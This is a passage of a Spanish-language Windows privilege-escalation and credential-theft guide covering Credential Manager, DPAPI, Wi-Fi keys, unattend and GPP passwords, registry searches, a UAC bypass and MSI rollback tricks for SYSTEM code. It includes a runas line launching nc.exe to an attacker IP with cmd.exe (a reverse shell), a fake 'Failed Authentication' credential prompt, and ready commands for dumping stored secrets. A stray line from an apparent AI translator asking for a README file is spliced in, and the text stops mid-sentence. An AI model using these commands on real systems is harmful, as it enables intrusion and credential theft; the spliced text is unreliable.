Windows Vault almacena credenciales que Windows puede usar para iniciar sesión a los usuarios automáticamente, lo que significa que cualquier aplicación de Windows que necesite credenciales para acceder a un recurso (servidor o un sitio web) puede hacer uso de este Credential Manager y Windows Vault y usar las credenciales suministradas en lugar de que los usuarios introduzcan el nombre de usuario y la contraseña todo el tiempo.

A menos que las aplicaciones interactúen con Credential Manager, no creo que sea posible que usen las credenciales para un recurso dado. Por lo tanto, si tu aplicación quiere hacer uso de la vault, debería de algún modo comunicarse con el credential manager y solicitar las credenciales para ese recurso desde la bóveda de almacenamiento por defecto.

Usa el cmdkey para listar las credenciales almacenadas en la máquina.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Entonces puedes usar runas con la opción /savecred para utilizar las credenciales guardadas. El siguiente ejemplo invoca un binario remoto a través de un recurso compartido SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas con un conjunto de credenciales proporcionado.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Ten en cuenta que mimikatz, lazagne, credentialfileview, VaultPasswordView, o desde Empire Powershells module.

DPAPI

La API de Protección de Datos (DPAPI) proporciona un método para el cifrado simétrico de datos, usado principalmente en el sistema operativo Windows para el cifrado simétrico de claves privadas asimétricas. Este cifrado aprovecha un secreto de usuario o del sistema que contribuye significativamente a la entropía.

DPAPI permite el cifrado de claves mediante una clave simétrica derivada de los secretos de inicio de sesión del usuario. En escenarios que implican cifrado a nivel de sistema, utiliza los secretos de autenticación de dominio del sistema.

Las claves RSA de usuario cifradas, mediante DPAPI, se almacenan en el directorio %APPDATA%\Microsoft\Protect\{SID}, donde {SID} representa el Security Identifier del usuario. La clave DPAPI, coubicada con la clave maestra que protege las claves privadas del usuario en el mismo archivo, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido mediante el comando dir en CMD, aunque sí puede listarse desde PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Puedes usar el mimikatz module dpapi::masterkey con los argumentos apropiados (/pvk o /rpc) para descifrarlo.

Los archivos de credenciales protegidos por la contraseña maestra suelen ubicarse en:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Puedes usar el mimikatz module dpapi::cred con la /masterkey apropiada para descifrar.
Puedes extraer muchas masterkeys de DPAPI desde la memoria con el módulo sekurlsa::dpapi (si eres root).

{{#ref}} dpapi-extracting-passwords.md {{#endref}}

Credenciales de PowerShell

Las credenciales de PowerShell se usan a menudo para tareas de scripting y automatización como una forma conveniente de almacenar credenciales cifradas. Las credenciales están protegidas usando DPAPI, lo que normalmente significa que solo pueden ser descifradas por el mismo usuario en el mismo equipo donde fueron creadas.

Para descifrar una credencial de PowerShell desde el archivo que la contiene puedes hacer:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Conexiones RDP guardadas

Puedes encontrarlas en HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\\ y en HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandos ejecutados recientemente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Administrador de Credenciales de Escritorio Remoto

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Usa el módulo Mimikatz dpapi::rdg con el /masterkey apropiado para descifrar cualquier archivo .rdg
Puedes extraer muchas DPAPI masterkeys de la memoria con el módulo Mimikatz sekurlsa::dpapi

Sticky Notes

La gente suele usar la app StickyNotes en estaciones de trabajo Windows para guardar contraseñas y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo está ubicado en C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite y siempre vale la pena buscarlo y examinarlo.

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe se encuentra en el directorio %systemroot%\system32\inetsrv\.\ Si este archivo existe entonces es posible que algunas credentials hayan sido configuradas y puedan ser recuperadas.

Este código fue extraído de PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Comprueba si C:\Windows\CCM\SCClient.exe existe .
Los instaladores se ejecutan con privilegios SYSTEM, muchos son vulnerables a DLL Sideloading (Información de https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Archivos y Registro (Credenciales)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Claves del host

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

Las claves privadas SSH pueden almacenarse dentro de la clave del registro HKCU\Software\OpenSSH\Agent\Keys, por lo que deberías comprobar si hay algo interesante allí:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Si encuentras alguna entrada dentro de ese path, probablemente sea una clave SSH guardada. Está almacenada cifrada pero puede descifrarse fácilmente usando https://github.com/ropnop/windows_sshagent_extract.
Más información sobre esta técnica aquí: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Si el servicio ssh-agent no está en ejecución y quieres que se inicie automáticamente al arrancar, ejecuta:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Parece que esta técnica ya no es válida. Intenté crear algunas claves ssh, añadirlas con ssh-add e iniciar sesión vía ssh en una máquina. El registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de dpapi.dll durante la autenticación de clave asimétrica.

Archivos desatendidos

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

También puedes buscar estos archivos usando metasploit: post/windows/gather/enum_unattend

Contenido de ejemplo:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Copias de seguridad de SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenciales en la nube

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Search for a file called SiteList.xml

Contraseña GPP en caché

Existía una funcionalidad que permitía desplegar cuentas administrativas locales personalizadas en un grupo de máquinas mediante Group Policy Preferences (GPP). Sin embargo, este método tenía fallos de seguridad importantes. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 usando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto suponía un riesgo serio, ya que podría permitir a usuarios obtener privilegios elevados.

Para mitigar este riesgo, se desarrolló una función para escanear los archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar dicho archivo, la función descifra la contraseña y devuelve un objeto personalizado de PowerShell. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y corrección de esta vulnerabilidad de seguridad.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (anterior a W Vista) for these files:

Groups.xml
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml

Para descifrar el cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec para obtener las contraseñas:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Ejemplo de web.config con credenciales:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenciales de OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Registros

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pedir credenciales

Puedes siempre pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario si crees que puede conocerlas (fíjate que pedir al cliente directamente las credenciales es realmente arriesgado):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Posibles nombres de archivo que contienen credenciales

Archivos conocidos que en algún momento contenían contraseñas en clear-text o Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

No tengo acceso directo a tu repositorio ni a los archivos. ¿Puedes pegar el contenido de src/windows-hardening/windows-local-privilege-escalation/README.md (o indicar los archivos propuestos) para que lo traduzca al español manteniendo la sintaxis markdown/HTML?

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credenciales en la Papelera de reciclaje

También deberías revisar la Papelera de reciclaje para buscar credenciales en su interior

Para recuperar contraseñas guardadas por varios programas puedes usar: http://www.nirsoft.net/password_recovery_tools.html

Dentro del registro

Otras posibles claves del registro con credenciales

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Historial de navegadores

Deberías buscar dbs donde se almacenan las contraseñas de Chrome or Firefox.
También revisa el historial, los marcadores y favoritos de los navegadores porque quizá algunas passwords are almacenadas allí.

Herramientas para extraer contraseñas de navegadores:

Mimikatz: dpapi::chrome
SharpWeb
SharpChromium
SharpDPAPI

COM DLL Overwriting

Component Object Model (COM) es una tecnología integrada en el sistema operativo Windows que permite la intercomunicación entre componentes de software escritos en diferentes lenguajes. Cada componente COM está identificado vía un class ID (CLSID) y cada componente expone funcionalidad a través de una o más interfaces, identificadas mediante interface IDs (IIDs).

Las clases e interfaces COM se definen en el registro bajo HKEY\CLASSES\ROOT\CLSID y HKEY\CLASSES\ROOT\Interface respectivamente. Este registro se crea al fusionar HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Dentro de los CLSIDs de este registro puedes encontrar la clave hija InProcServer32 que contiene un valor por defecto apuntando a una DLL y un valor llamado ThreadingModel que puede ser Apartment (hilo único), Free (multihilo), Both (uno o multihilo) o Neutral (neutral respecto al hilo).

Básicamente, si puedes sobrescribir cualquiera de las DLLs que van a ser ejecutadas, podrías escalate privileges si esa DLL va a ser ejecutada por un usuario diferente.

To learn how attackers use COM Hijacking as a persistence mechanism check:

{{#ref}} com-hijacking.md {{#endref}}

Generic Password search in files and registry

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Buscar un archivo con un nombre específico

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Buscar en el registro nombres de claves y contraseñas

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Herramientas que buscan contraseñas

MSF-Credentials Plugin is a msf plugin que he creado para automatically execute every metasploit POST module that searches for credentials dentro de la víctima.
Winpeas busca automáticamente todos los archivos que contienen contraseñas mencionadas en esta página.
Lazagne es otra gran herramienta para extraer contraseñas de un sistema.

La herramienta SessionGopher busca sessions, usernames y passwords de varias herramientas que guardan estos datos en texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Lee este ejemplo para más información sobre cómo detectar y explotar esta vulnerabilidad.
Lee este otro artículo para una explicación más completa sobre cómo probar y abusar de más open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Los segmentos de memoria compartida, conocidos como pipes, permiten la comunicación entre procesos y la transferencia de datos.

Windows ofrece una característica llamada Named Pipes, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como named pipe server y named pipe client.

Cuando los datos se envían a través de una pipe por un cliente, el servidor que configuró la pipe tiene la capacidad de adoptar la identidad del cliente, siempre que tenga los derechos SeImpersonate necesarios. Identificar un proceso privilegiado que se comunique vía una pipe que puedas imitar ofrece la oportunidad de obtener privilegios más altos al adoptar la identidad de ese proceso cuando interactúe con la pipe que hayas establecido. Para instrucciones sobre cómo ejecutar este ataque, hay guías útiles aquí y aquí.

Además, la siguiente herramienta permite interceptar la comunicación de named pipe con una herramienta como burp: https://github.com/gabriel-sztejnworcel/pipe-intercept y esta herramienta permite listar y ver todas las pipes para encontrar privescs https://github.com/cyberark/PipeViewer

Varios

Extensiones de archivo que podrían ejecutar código en Windows

Consulta la página https://filesec.io/

Monitorización de líneas de comando en busca de contraseñas

Al obtener una shell como usuario, puede haber tareas programadas u otros procesos ejecutándose que pasan credenciales en la línea de comandos. El script siguiente captura las líneas de comando de los procesos cada dos segundos y compara el estado actual con el anterior, mostrando las diferencias.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Robar contraseñas de procesos

De usuario con privilegios bajos a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Si tienes acceso a la interfaz gráfica (vía consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar una terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.

Esto permite escalar privilegios y omitir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario usado durante el proceso está firmado y emitido por Microsoft.

Algunos de los sistemas afectados son los siguientes:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Para explotar esta vulnerabilidad, es necesario realizar los siguientes pasos:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

{{#ref}} integrity-levels.md {{#endref}}

Then read this to learn about UAC and UAC bypasses:

{{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}}

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a malicious MSI installer that will be used to hijack the C:\Config.Msi folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload.

The summarized technique is the following:

Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

Step 1: Install the MSI
Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).
Mark the installer as "UAC Compliant", so a non-admin user can run it.
Keep a handle open to the file after install.
Step 2: Begin Uninstall
Uninstall the same .msi.
The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).
Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.
Step 3: Custom Syncing
The .msi includes a custom uninstall action (SyncOnRbfWritten) that:
Signals when .rbf has been written.
Then waits on another event before continuing the uninstall.
Step 4: Block Deletion of .rbf
When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.
Then signal back so the uninstall can finish.
Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.
Step 5: Manually Delete .rbf
You (attacker) delete the .rbf file manually.
Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

Stage 2 – Replacing Rollback Scripts with Malicious Ones

Step 6: Recreate C:\Config.Msi with Weak ACLs
Recreate the C:\Config.Msi folder yourself.
Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.
Step 7: Run Another Install
Install the .msi again, with:
TARGETDIR: Writable location.
ERROROUT: A variable that triggers a forced failure.
This install will be used to trigger rollback again, which reads .rbs and .rbf.
Step 8: Monitor for .rbs
Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.
Capture its filename.
Step 9: Sync Before Rollback
The .msi contains a custom install action (SyncBeforeRollback) that:
Signals an event when the .rbs is created.
Then waits before continuing.
Step 10: Reapply Weak ACL
After receiving the .rbs created event:
The Windows Installer reapplies strong ACLs to C:\Config.Msi.
But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

Step 11: Drop Fake .rbs and .rbf
Overwrite the .rbs file with a fake rollback script that tells Windows to:
Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).
Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.
Step 12: Trigger the Rollback
Signal the sync event so the installer resumes.
A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.
This causes rollback to begin.
Step 13: SYSTEM Installs Your DLL
Windows Installer:
Reads your malicious .rbs.
Copies your .rbf DLL into the target location.
You now have your malicious DLL in a SYSTEM-loaded path.
Final Step: Execute SYSTEM Code
Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.
Boom: Your code is executed as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?

You could exploit NTFS internals: every folder has a hidden alternate data stream called:

C:\SomeFolder::$INDEX_ALLOCATION

Este stream almacena los metadatos de índice de la carpeta.

Por lo tanto, si eliminas el stream ::$INDEX_ALLOCATION de una carpeta, NTFS elimina toda la carpeta del sistema de archivos.

Puedes hacer esto usando APIs estándar de eliminación de archivos como:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Aunque estés llamando a una API de eliminación de file, en realidad elimina la propia folder.

From Folder Contents Delete to SYSTEM EoP

¿Qué pasa si tu primitiva no te permite eliminar files/folders arbitrarios, pero sí permite la eliminación del contents de una folder controlada por el atacante?

Paso 1: Crea una folder y un file señuelo

Crea: C:\temp\folder1
Dentro de ella: C:\temp\folder1\file1.txt

Paso 2: Coloca un oplock en file1.txt

El oplock pausa la ejecución cuando un proceso privilegiado intenta eliminar file1.txt.

// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();

Paso 3: Activar proceso SYSTEM (p. ej., SilentCleanup)

Este proceso escanea carpetas (p. ej., %TEMP%) e intenta borrar su contenido.
Cuando llega a file1.txt, el oplock se activa y entrega el control a tu callback.

Paso 4: Dentro del callback del oplock – redirigir la eliminación

Opción A: Mover file1.txt a otro lugar
Esto vacía folder1 sin romper el oplock.
No borres file1.txt directamente — eso liberaría el oplock prematuramente.
Opción B: Convertir folder1 en un junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control

Opción C: Crear un symlink en \RPC Control:

# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Esto apunta al stream interno de NTFS que almacena los metadatos de la carpeta — eliminarlo elimina la carpeta.

Paso 5: Liberar el oplock

El proceso SYSTEM continúa e intenta eliminar file1.txt.
Pero ahora, debido a la junction + symlink, en realidad está eliminando:

C:\Config.Msi::$INDEX_ALLOCATION

Resultado: C:\Config.Msi es eliminado por SYSTEM.

De Arbitrary Folder Create a Permanent DoS

Aprovecha una primitiva que te permite create an arbitrary folder as SYSTEM/admin — incluso si no puedes escribir archivos o establecer permisos débiles.

Crea una carpeta (no un archivo) con el nombre de un controlador crítico de Windows, p. ej.:

